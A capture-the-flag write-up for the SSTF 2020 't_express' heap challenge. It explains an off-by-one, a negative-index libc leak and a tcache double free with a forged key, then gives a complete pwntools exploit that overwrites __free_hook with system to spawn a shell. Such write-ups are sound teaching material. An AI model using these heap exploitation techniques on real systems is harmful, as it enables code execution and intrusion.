articleSep 18, 2020
SSTF 2020 t_express Writeup
Heap note on t_express: off-by-one ticket_type overwrite, negative index stderr leak, tcache key forge for double free, then __free_hook to system.
Vulnerability analysis
Binary overview
Protections

security check
- CANARY
- NX
- PIE
- RELRO
Binary info
ELF 64-bit LSB shared object
x86-64, version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=842cbd24d75c0dea40dc2e06f4996948eb59a897
with debug_info
not strippedBinary analysis
Control flow

main output
- Four menu choices:
Buy,View,Use,Exit.
Buy menu

Buy menu
- Two ticket kinds:
One ride ticketandOne day ticket. Inputs land inFirst nameandLast name. One day ticketalso presets options printed as3 meals, 1 safari pass, unlimited rides, 1 giftshop coupon.
View menu

View menu
Use menu
- Prints tickets by index, which suggests a struct array.

Use menu
- Index 0 prints
Thank you Have a good time!. Index 1 lets you tweak more struct fields. - Index 0 is the Buy menu's first option,
One ride ticket.
main

main function
-
Menu handlers:
- buy_ticket()
- view_ticket()
- use_ticket()
- exit()
-
Each case calls the matching function.
-
The loop exits through
exit().
buy_ticket

pass5 struct
- Instance
pis a double pointer topass5. - The fields match what dynamic analysis suggested.
- Global
passesis an array of those struct pointers.

pass5 reconstructed
- Rebuilt the IDA layout in C.
pass5is0x30bytes.

inside buy_ticket
- The
checkregion compares against the array capacity: , so at most seven heap chunks. - Past that limit it prints
Sold out!and returns. One ride ticketwritesticket_type,firstname,lastname.One day ticketfills every member.

writing pass5 fields
- With firstname/lastname set to AAAA/BBBB, the heap looks like the screenshot.
- User input only hits those two fields, both through
read_strwith an 8-byte length.
read_str (off-by-one)

read_str
- First arg is the name buffer; second is fixed at 8.
- It reads with
readand does basic error handling. - Then it does
buf[len] = 0. If the caller typed a full 8 bytes,lenis 8, sobuf[8] = 0overflows one byte into the next field.
view_ticket (OOB / signed index)

view_ticket
- Prints a ticket by index from the
passesarray created in Buy. indexis a signed int. There is no negative check, so a negative index walks elsewhere in memory.

stderr ↔ passes
- On
.bss,passesandstderrare0x20apart. Index-4lands onstderr, and the print path leaks that pointer. - From the leak you recover libc base and other offsets.
use_ticket (double free)

- Unlike View, this index is unsigned.
- When
ticket_typematches, the ticket can be freed. - A
One-ride-ticketwithticket_type == 1frees immediately into tcache.

when ticket_type is 0

free condition
- After the option counters run down, free happens only when
meal_ticket,safari_pass, andgiftshop_couponare all 0. - The function can free twice and never nulls the pointer, so a double-free path exists.

Double Free
- First free: drive the counters to zero. After that they stay zero, so you cannot replay the same path. You need another way to free again.
Heap layout

heap chunk
- Layout of an allocated
pass5chunk.
Free path

free1
- Allocate both ticket types so you have two chunks.
- Off-by-one on the ride ticket's lastname nulls the next chunk's
ticket_type, so the day ticket becomes editable throughuse_ticketas if it were type 0. - glibc ≥ 2.29 checks tcache double frees: the freed pointer is stored in
tcache_entry.key, and a second free of the same pointer with the same key aborts. - Bypass: change
keybefore the second free.keysits wherelastnamelives inpass5.

Double Free Bug
- With
passes[0]'s type corrupted, bumpingride_countflips one byte of the neighboring chunk's key. - Second free then succeeds.
Exploit path
Attack plan
- Leak libc: View with index
-4to printstderr, subtract the libc offset. - Buy two tickets (ride + day). Fill the ride lastname with 8 bytes to trigger off-by-one.
- Free the day ticket once.
- Use the ride ticket to bump
ride_count, corrupt the day ticket's tcache key, free the day ticket again. Repeat twice to stage chunks. - After double free, three tcache entries alias the same address. Allocate:
- first:
__free_hookaddress - second:
"/bin/sh\x00" - third:
systemaddress
- first:
- Free the chunk holding
"/bin/sh\x00"so the hooked free becomessystem("/bin/sh").
Helpers
from pwn import *
e = ELF('./t_express')
l = ELF('./libc.so.6')
p = process('./t_express')
# p = remote('ctf.campus.theori.io', 7079)
def Buy(num, first, last):
log.info(p.sendafter("choice: ", "1"))
log.info(p.sendafter("(1/2): ", str(num))+str(num))
log.info(p.sendafter("First name: ", str(first)) + str(first))
log.info(p.sendafter("Last name: ", str(last)) + str(last))
def View(idx):
log.info(p.sendafter("choice: ", "2"))
log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
# leak (lib_base)
if idx < 0:
log.info(p.recvuntil("|name |"))
lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
) - 0x83 - l.sym['_IO_2_1_stderr_']
log.info("lib_base : " + hex(lib_base) )
return lib_base
else:
log.info(p.recvuntil("==========================\n"))
log.info(p.recvuntil("==========================\n"))
def Use(idx, num):
log.info(p.sendafter("choice: ", "3"))
log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
log.info(p.sendafter("(1/2/3/4): ", str(num)) + str(num))
def _free(idx):
for i in range(0,3):
Use(idx, 1)
Use(idx, 2)
Use(idx, 3)Libc leak
def View(idx):
log.info(p.sendafter("choice: ", "2"))
log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
# leak (lib_base)
if idx < 0:
log.info(p.recvuntil("|name |"))
lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
) - 0x83 - l.sym['_IO_2_1_stderr_']
log.info("lib_base : " + hex(lib_base) )
return lib_base
else:
log.info(p.recvuntil("==========================\n"))
log.info(p.recvuntil("==========================\n"))
libc base
Off-by-one to clear ticket_type
Buy(1, "AAAA", "BBBBBBBB")
Buy(2, "AAAA", "BBBB")
first allocations
First free and key check
_free(1)
key after free
Corrupt key and double free
for i in range(0,2):
Use(0, 4)
Use(1, 4)
key corruption
- Corrupt and free twice.

Double Free Bug
- Three tcache entries; FD points at self — classic double free.
Overwrite __free_hook
Buy(2, p64(free_hook), "BBBB")
Buy(2, "/bin/sh\x00", "BBBB")
Buy(2, p64(lib_system), "BBBB")- glibc exposes
__malloc_hook/__free_hook. Put a function pointer there and the next free/malloc calls your hook instead. - First same-size alloc overwrites FD with
__free_hook, so the next free-list entry targets the hook.

tcache dup
- Second chunk gets
"/bin/sh\x00". Third writessysteminto__free_hook. Freeing the shell string runssystem("/bin/sh\x00").

flag
- Flag recovered.
Full exploit
from pwn import *
e = ELF('./t_express')
l = ELF('./libc.so.6')
# p = process('./t_express')
p = remote('ctf.campus.theori.io', 7079)
def Buy(num, first, last):
log.info(p.sendafter("choice: ", "1"))
log.info(p.sendafter("(1/2): ", str(num))+str(num))
log.info(p.sendafter("First name: ", str(first)) + str(first))
log.info(p.sendafter("Last name: ", str(last)) + str(last))
def View(idx):
log.info(p.sendafter("choice: ", "2"))
log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
# leak (lib_base)
if idx < 0:
log.info(p.recvuntil("|name |"))
lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
) - 0x83 - l.sym['_IO_2_1_stderr_']
log.info("lib_base : " + hex(lib_base) )
return lib_base
else:
log.info(p.recvuntil("==========================\n"))
log.info(p.recvuntil("==========================\n"))
def Use(idx, num):
log.info(p.sendafter("choice: ", "3"))
log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
log.info(p.sendafter("(1/2/3/4): ", str(num)) + str(num))
def _free(idx):
for i in range(0,3):
Use(idx, 1)
Use(idx, 2)
Use(idx, 3)
lib_base = View(-4)
Buy(1, "AAAA", "BBBBBBBB")
Buy(2, "AAAA", "BBBB")
_free(1)
for i in range(0,2):
Use(0, 4)
Use(1, 4)
lib_system = lib_base + l.sym['system']
free_hook = lib_base + l.sym['__free_hook']
log.info(hex(lib_system))
log.info(hex(free_hook))
Buy(2, p64(free_hook), "BBBB")
Buy(2, "/bin/sh\x00", "BBBB")
Buy(2, p64(lib_system), "BBBB")
_free(3)
p.interactive()